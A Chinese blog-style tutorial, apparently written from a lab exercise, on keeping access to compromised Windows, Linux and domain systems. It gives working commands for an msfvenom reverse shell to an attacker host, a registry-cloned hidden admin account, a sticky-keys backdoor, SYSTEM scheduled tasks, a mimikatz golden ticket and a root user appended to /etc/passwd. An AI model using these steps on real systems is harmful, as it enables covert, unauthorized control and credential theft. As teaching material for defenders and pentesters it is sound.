网络安全之权限维持那点事

权限维持

一旦黑客成功地入侵了目标系统,他们通常会尝试保持对系统的持久访问权,以便继续执行恶意活动,如窃取敏感数据、植入恶意软件、破坏系统功能等。

权限维持的过程可能包括以下几个方面:

  1. 后门植入:黑客可能会在系统中植入后门程序,以便在未来能够轻松地再次访问系统,而不需要重新入侵。这些后门可能是通过潜在的安全漏洞、恶意软件或其他技术手段实现的。

  2. 提权:黑客可能会试图提升其在系统中的权限级别,以获取更高级别的访问权限,从而能够执行更多的操作并访问更多的系统资源。这可能涉及利用系统或应用程序中的漏洞,或者尝试使用密码破解或其他攻击手段来获取更高级别的权限。

  3. 隐藏轨迹:黑客可能会采取措施来隐藏其活动的痕迹,以避免被系统管理员或安全团队发现。这可能包括清除日志文件、篡改审计记录、隐藏恶意进程等。

  4. 持续监控和访问:一旦黑客成功维持了对系统的访问权限,他们通常会持续监视系统并继续执行恶意活动,例如窃取数据、植入恶意软件或进行其他攻击。

我们可以直接简单的把权限维持理解为我们在目标上安装了一个后门,权限维持的目的是保证自己的权限不会掉,一直控制目标

本篇文章主要讲了windows和Linux及其域权限维持

Windows权限维持

Windows权限

普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(PowerUsers)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users)经过ms验证程序登录的用户均属于此组。

特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者)等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。

真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。

“所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限--任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。

被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。

但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。

无论是普通权限还是特殊权限,它们都可以“叠加"使用,“叠加”"就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组在加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。

需要我们了解的权限如下

后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

常见权限获取方法简要归类

后台权限:SQL 注入,数据库备份泄露,默认或弱口令等获取帐号密码进入。

网站权限:后台提升至网站权限,RCE 或文件操作类、反序列化等漏洞直达 Shell。

数据库权限:SQL 注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入。

接口权限:SQL 注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入。

系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等。

域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等。

Windows常见权限介绍

  1. 后台权限(Back-end Permissions):后台权限通常指的是系统或应用程序的管理后台权限,允许用户对系统进行管理和配置。拥有后台权限的用户可以访问系统的管理界面,并进行用户管理、内容管理、配置设置等操作。这些权限通常由管理员或具有特定权限的用户持有。

  2. 网站权限(Website Permissions):网站权限指的是用户在网站上的操作和访问权限。这包括用户对网站内容的访问权限、发布内容的权限、评论权限等。不同用户可能具有不同级别的网站权限,例如普通用户、编辑、管理员等。

  3. 数据库权限(Database Permissions):数据库权限是指用户对数据库中数据和结构的访问和操作权限。拥有数据库权限的用户可以执行数据库查询、更新、删除等操作。数据库权限通常包括对特定表、视图、存储过程的操作权限。

  4. 接口权限(API Permissions):接口权限是指用户对系统或应用程序提供的API(应用程序接口)的访问和使用权限。拥有接口权限的用户可以使用API执行特定的功能或访问特定的数据。接口权限通常通过API密钥或访问令牌进行控制。

  5. 系统权限(System Permissions):系统权限是指用户对计算机系统的操作和管理权限。这包括对操作系统、文件系统、网络配置等的管理权限。拥有系统权限的用户可以执行系统级别的操作,如安装软件、配置网络、管理用户账户等。

  6. 域控权限(Domain Controller Permissions):域控权限是指在Windows域环境中对域控制器的操作权限。域控制器是Windows域中的关键服务器,用于集中管理域中的用户账户、组策略、安全性等。拥有域控权限的用户可以执行域中的管理操作,如管理用户账户、设置组策略、配置域信任关系等。

Windows权限维持

Windows 操作系统常见持久性后门:

通过博客的翻阅和学习看到了几种常见的 Windows 系统后门,包括Windows系统隐藏用户、Shift粘粘键后门、注册表后门、Windows 计划任务、Windows 新服务后门、WMI后门等等。

(1)Windows系统隐藏账户

该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。

演示一下:

(1)在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。

首先我们拿到windows10的权限:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=1000 -f exe -o met.exe

 将我们生成的met.exe文件在目标机打开。

设置本地IP和监听端口

直接run

shell拿到管理员权限乱码的话 chcp65001就可以解决

接下来进行权限维持

在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。

net user whoami$ Liu78963 /add
net localgroup administrators whoami$ /add

查看电脑用户

net user hack$ Admin@123 /add

查看没有这个用户

注册表克隆用户隐藏

因为$用户可以看到,在上一步的基础上我们打开注册表,在注册表操作进行用户隐藏

提示:该操作建立在上面$符号隐藏用户的基础上的

虽然上面net user看不见该隐藏用户,但是在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的

为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。

打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。

1603594925_5f94eaad965ba49e8f807.png!small?1603594925728

这样SAM下的文件就都能看见了。

然后,在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处,点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录“000001F4”:

1603595456_5f94ecc0a8929859dea9f.png!small?1603595456658

复制000001F4目录中的F键的值:

1603595572_5f94ed34aee514da735e3.png!small?1603595572724

然后找到与隐藏账户whoami$右边类型的键值“0x3e9”相同的目录名,也就是。

1603595699_5f94edb38255cef869458.png!small?1603595699463

然后将000001F4的F值粘贴到000003E9的F值中,点击确定:

1603595867_5f94ee5be472504f50292.png!small?1603595867883

然后从注册表中右键导出000003E9和whoami$,并删除whoami$用户 net user whoami$ /del:

1603596035_5f94ef03270db8bfd87dc.png!small?1603596035640

1603596070_5f94ef261cfe970ed171d.png!small?1603596085555

1603596143_5f94ef6f269de031a83ac.png!small?1603596143135

此时,查看注册表以及本地用户和组或者控制面板,whoami$用户已经没有了:

最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中:

1603596406_5f94f0765dd947291b28b.png!small?1603596406503

这样我们的隐藏账户whoami$就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到whoami$这个账户的,只有在注册表中才能看得到。

2.Shift后门

shift快捷键的介绍

Windows的粘滞键是c:\windows\system32\set\sethc.exe的程序,它本是为不方便组合键的人设计的,windows系统按5下shift后,windows就执行了system32下的sethc.exe,也就是启用了粘滞键

但是当我们来登录系统停留在登录界面的时候,系统还不知道我们将以哪个用户登录,所以这个时候连续按5次shift后的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序

shift后门原理

思考一下,如果我们知道了这个程序的绝对路径,那么我们就可以将cmd.exe伪装成这个粘滞键程序,当我们连按五次shift键时,便会弹出一个CMD命令行窗口,那么我们就可以无需登录进系统便可以控制目标主机了。

shift后门制作

1.在命令行执行以下命令,为复制cmd.exe为sethc.exe

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

但是会提示拒绝访问

2.需要更改文件权限,如下命令

takeown /f c:\windows\system32\*.* /a /r /d y       注释:强制将当前目录下的所有文件以及文件夹,子文件夹下的所有者更改为管理员组(administrator)
cacls c:\windows\system32\*.* /T /E /G administrator:F  注释:在当前目录下的文件,子文件夹的NTFS权限上添加管理员组(administrator)完全控制权限(并不删除原有NTFS权限设置)

 (这里我的管理员账户是client所有我把administrator换成了client)在搞一下

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

此时再回到账户页面将会发现粘滞键变成了cmd

总结:

粘滞键程序名称为“sethc.exe”,其路径为“c:\windows\system32\sethc.exe”。利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:

  • 首先,我们手动或利用工具,找到sethc.exe将其删除或改名为sethc.exe.bak,接着将cmd.exe程序复制一个副本,并命名为“sethc.exe”。

  • 最后,重启计算机再次按下5次Shift键时,就会弹出CMD界面,后门制作成

参考:域内权限维持思路总结_domain\account\users-CSDN博客

Windows 计划任务后门

Windows 计划任务后门是一种常见的持久化技术,它利用了Windows操作系统中的计划任务功能,使得恶意程序可以在特定的时间点执行,从而实现对目标系统的持续控制。这种后门通常包括以下几个关键步骤:

  1. 利用计划任务功能创建任务:黑客首先利用Windows操作系统提供的计划任务功能创建一个任务,设置任务在指定的时间点或间隔执行。这可以通过命令行工具(如schtasks命令)、PowerShell脚本或者编程接口(如Windows API)来完成。

  2. 指定执行的有效负载:在创建任务时,黑客会指定要执行的有效负载,即恶意程序的路径或命令。这个有效负载可以是位于目标系统本地磁盘上的可执行文件、PowerShell脚本,或者是远程位置(如Web服务器)上的文件。有效负载可以是任何可执行的代码,用于实现黑客所需的功能,比如建立远程连接、窃取信息、执行攻击等。

  3. 持久化设置:黑客通常会修改计划任务的设置,使得任务在系统启动时自动启动,或者定期执行,从而实现持久化。这可以通过设置任务的触发器(Trigger)来实现,比如设置任务在用户登录时执行,或者设置任务每隔一段时间执行。

  4. 隐藏迹象:为了尽量减少被检测到的风险,黑客可能会采取一些措施来隐藏计划任务后门的迹象,比如修改任务的名称、描述、触发器等信息,或者在执行过程中尽量减少对系统资源的占用。

1)利用 at 命令

at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

1. 首先在目标主机上传metasploit生成的后门程序:

1603605135_5f95128f5471c6a058f19.png!small?1603605135298

2. 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:

net time

1603609183_5f95225f6e89a7efe81b4.png!small?1603609183395

3. 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:

at 15:01:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe

1603609220_5f95228418a8fd454bef0.png!small?1603609220061

如上图所示,计划任务创建成功,目标主机将在每个工作日的15:01:00执行后门程序,我们便可以在这个时间获得目标机器的控制权:

1603609306_5f9522da119d12e426741.png!small?1603609312089

(2)利用 schtasks 命令

上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。

利用schtasks创建后门的大致流程如下:

1. 首先在目标主机上传metasploit生成的后门程序。

2. 然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:

schtasks /create /tn backdoor /sc minute /mo 1  /tr c:\windows\system32\backdoor.exe /ru system /f

1603610327_5f9526d7d9ecc3cf38aab.png!small?1603610327819

然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session:

1603610417_5f9527311484cdfbcfe19.png!small?1603610423560

并且这个session还是system权限的。

域控制器权限维持常见思路

在我们拿到域控的控制权后,为了我们对域控制器权限的丢失,需要使用权限维持的方法来维持我们取得的权限。下面我们将介绍几种常用的对域控制器现有权限进行持久化的操作,包括黄金票据、白银票据、Skeleton Key万能密码、DSRM 后门、SSP 注入、SID History 后门、等等。

内网横向——域渗透之黄金票据复现-CSDN博客黄金票据(Golden ticket)

在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,不就可以伪造任意的tgt了吗。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

先假设这么一种情况,原先已拿到的域内所有的账户Hash,包括krbtgt这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。

攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:

  • 需要伪造的域管理员用户名
  • 完整的域名
  • 域SID
  • krbtgt的NTLM Hash

测试环境如下所示:

我们已经获得了普通域用户主机Windows7和域控制器DC的控制权,下面我们演示如何用黄金票据建立一个稳固的后门。

域成员主机:Windows 7(192.168.183.131)
域名:DEMO.com
用户名:douser域控制器:192.168.183.130
域名:DEMO.com 
用户名:administrator

首先,我们登上域控制器,上传mimikatz,然后执行如下命令抓取krbtgt用户的Hash值并获取域sid:

privilege::debug
lsadump::lsa /patch        // 专用于在域控制器上导出用户密码或hash

如上图所示,我们得到krbtgt用户的Hash为:7c4ed692473d4b4344c3ba01c5e6cb63,域sid为S-1-5-21-979886063-1111900045-1414766810

然后,我们切换到普通域用户的机器Windows 7,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):

kerberos::golden /user:administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbikerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi

生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后使用mimikatz将凭证ticket.kirbi注入进去:

kerberos::purge   //先清空所有票据
kerberos::ptt ticket.kirbi    //再将生成的票据注入域用户主机Windows7中
// kerberos::ptt <票据文件>   

此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:

kerberos::tgt

到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用Windows 7任意访问域控制器了,可以使用net use进行登录

dir \\WIN-ENS2VR5TR3N\c$

Linux权限维持

一、木马隐藏

权限维持简单来说就是怕我们好不容易拿到的权限因为用户的排查或者一些原因导致丢失,而如果我们能够将木马藏得够深,够隐蔽,让用户无法排除出来,这样就能让我们的木马一直在目标的电脑上,自然也就实现了权限维持

1、时间伪造

2、隐藏文件

Linux中以"."(点号)开头的就是隐藏文件

而隐藏文件单纯使用ls是无法查看的,需要使用ls -la才能查看到,如下

可以看到我在该目录创建了一个.hiden.txt文件,再使用ls,并没有找到该文件,而使用ls -la命令就成功找到了刚才创建的.hiden.txt

而如果目标的管理员没有使用ls -la查看文件的一个习惯的话,就很可能找不到这个文件

3、chattr命令

Linux chattr命令用于改变文件属性。

这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:

a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。

二、添加用户

1、正常生成

步骤如下

1、创建一个名为test,密码为123456的root权限用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test

2、创建之后直接使用root权限登录就可以了

2、改写文件

步骤如下

生成加密后的密码,如下就是生成加密后的123456

perl -le 'print crypt('123456',"addedsalt")'

将加密结果写入passwd文件,这里就是test用户,密码为123456

echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/302925.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

easyExcel - 动态复杂表头的编写

目录 前言一、情景介绍二、问题分析三、代码实现方式一&#xff1a;head 设置方式二&#xff1a;模板导出方式三&#xff1a;自定义工具类 前言 Java-easyExcel入门教程&#xff1a;https://blog.csdn.net/xhmico/article/details/134714025 之前有介绍过如何使用 easyExcel&…

CSS-浮动文字环绕布局、隐藏属性display、overflow、三角形制作、鼠标样式

文字环绕布局 CSS文字环绕布局是指在网页中让文字环绕在图片或其他元素周围的布局方式。这通常通过CSS中的float属性来实现。你可以将图片设置为float: left;或float: right;&#xff0c;然后在文本元素中使用clear属性来清除浮动&#xff0c;以确保文字不会覆盖图片。另外&am…

Jmeter02-2:参数化组件其他方式

0、Jmeter组件&#xff1a;参数化概述 0.1 是什么&#xff1f; 参数化是动态的获取并设置数据 0.2 为什么&#xff1f; 比如执行批量操作时&#xff0c;批量插入或批量删除&#xff0c;之前数据都是手写的&#xff0c;每执行完都要修改一次&#xff0c;效率太低 而参数化就是…

基于javassmJSP的教学质量评价系统

开发语言&#xff1a;Java 框架&#xff1a;ssm 技术&#xff1a;JSP JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09; 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclip…

maxpool long数据类型报错

报错&#xff1a; RuntimeError: “max_pool2d” not implemented for ‘Long’ 源码&#xff1a; import torch from torch import nn from torch.nn import MaxPool2dinput torch.tensor([[1, 2, 0, 3, 1],[0, 1, 2, 3, 1],[1, 2, 1, 0, 0],[5, 2, 3, 1, 1],[2, 1, 0, 1, 1…

重温OKHTTP源码

本文基于OkHttp4.12.0源码分析 官方地址 概括 本篇主要是对okhttp开源库的一个详细解析&#xff0c;包含详细的请求流程分析、各大拦截器的解读等。 使用方法 同步请求&#xff1a;创建一个OKHttpClient对象&#xff0c;一个Request对象&#xff0c;然后利用它们创建一个Ca…

文献速递:深度学习胰腺癌诊断--基于螺旋变换的胰腺癌分割模型驱动深度学习方法

Title 题目 Model-Driven Deep Learning Method forPancreatic Cancer Segmentation Basedon Spiral-Transformation 基于螺旋变换的胰腺癌分割模型驱动深度学习方法 01 文献速递介绍 胰腺癌是最致命的恶性肿瘤之一&#xff0c;其特点是诊断延迟、治疗困难和高死亡率。患者…

采用Flink CDC操作SQL Server数据库获取增量变更数据

采用Flink CDC操作SQL Server数据库获取增量变更数据 Flink CDC 1.12版本引入了对SQL Server的支持&#xff0c;包括SqlServerCatalog和SqlServerTable。在SqlServerCatalog中&#xff0c;你可以根据表名获取对应的字段和字段类型。 SQL Server 2008 开始支持变更数据捕获 (C…

【C语言】简单介绍进制和操作符

&#x1f308;个人主页&#xff1a;是店小二呀 &#x1f308;C语言笔记专栏&#xff1a;C语言笔记 &#x1f308;C笔记专栏&#xff1a; C笔记 &#x1f308;喜欢的诗句:无人扶我青云志 我自踏雪至山巅 本文简要介绍进制和操作符&#xff0c;愿能为您提供帮助&#xff01;文章…

论文解读:吴恩达来信AI Agent技巧—利用自我反馈的迭代细化技术

《自我完善&#xff1a;利用自我反馈的迭代细化技术》 https://arxiv.org/pdf/2303.17651.pdf 摘要 Large language models (LLMs) 经常无法在一次尝试中生成最佳输出。受人类在修改书面文本时所表现出的迭代精炼过程的启发&#xff0c; 我们提出了 SELF-REFINE&#xff0c…

R语言绘图 | 散点小提琴图

原文链接&#xff1a;R语言绘图 | 散点小提琴图 本期教程 写在前面 本期的图形来自发表在Nature期刊中的文章&#xff0c;这样的基础图形在日常分析中使用频率较高。 获得本期教程数据及代码&#xff0c;后台回复关键词&#xff1a;20240405 绘图 设置路径 setwd("You…

CSDN 广告太多,停更通知,转移到博客园

文章目录 前言新博客地址 前言 CSDN的广告实在是太多了&#xff0c;我是真的有点忍不了。直接把广告插在我的文章中间。而且我已经懒得找工作了&#xff0c;我当初写CSDN的目的就是为了找工作&#xff0c;有个博客排名。当时经济环境实在是太差了。我也没必要纠结这个2000粉丝…

因为使用ArrayList.removeAll(List list)导致的机器重启

背景 先说一下背景&#xff0c;博主所在的业务组有一个核心系统&#xff0c;需要同步两个不同数据源给过来的数据到redis中&#xff0c;但是每次同步之前需要过滤掉一部分数据&#xff0c;只存储剩下的数据。每次同步的数据与需要过滤掉的数据量级大概在0-100w的数据不等。 由…

快排序解读

排序算法是计算机科学中不可或缺的一部分&#xff0c;它们在各种数据处理场景中发挥着关键作用。在众多排序算法中&#xff0c;快速排序以其高效的性能和简洁的实现成为了许多程序员的首选。今天&#xff0c;我们就来深入剖析快速排序算法&#xff0c;了解其原理、实现方式以及…

比特币革命:刚刚开始

作者&#xff1a;Marius Farashi Tasooji 编译&#xff1a;秦晋 要充分理解比特币及其含义&#xff0c;首先必须理解什么是价值&#xff0c;什么是货币。以及是什么赋予资产价值&#xff1f; 这个问题看似愚蠢&#xff0c;但实际上非常有趣。我们的生活是由我们消费或出售的物品…

【问题解决】ubuntu安装新版vscode报code-insiders相关错误

问题 目前 vscode官网 最新的包为 insiders_1.89.0-1712297812_amd64.deb &#xff0c;双击或者使用sudo dpkg -i code-insiders_1.89.0-1712297812_amd64.deb安装后报错&#xff0c;执行其他命令也报错。 安装环境&#xff1a;ubuntu18.04 dpkg: 处理软件包 code-insiders (…

Taro框架中的H5 模板基本搭建

1.H5 模板框架的搭建 一个h5 的基本框架的搭建 基础template 阿乐/H5 Taro 的基础模板

在Spring中使用Redis

端口怎么设置&#xff0c;看我前一篇文章 前面使用jedis&#xff0c;通过Jedis对象中各种方法来操作redis的。 此处Spring中则是通过StringRedisTemplate来操作redis。 最原始提供的类是RedisTemplate StringRedisTemplate是RedisTemplate的子类&#xff0c;专门处理文本数据的…

PUBG绝地求生29.1版本延迟高/卡顿/掉帧/丢包的快速解决方法

要想在绝地求生中获得好成绩&#xff0c;咱们需求把握一些根本的游戏技巧。比方&#xff0c;在挑选降落点时&#xff0c;咱们可以运用u标签来着重“安全”二字。挑选一个相对较为安全的降落点可以防止与其他玩家过早触摸&#xff0c;给自己争夺更多时间来搜集资源和配备。接下来…

Vant DropdownMenu 下拉菜单带搜索功能

Vant DropdownMenu 下拉菜单带搜索功能 效果图&#xff1a; 上代码&#xff1a; <van-dropdown-menu active-color"#E33737"><van-dropdown-item ref"dropdownItem"><template #title><span>{{ dropdownItem.text }}</span…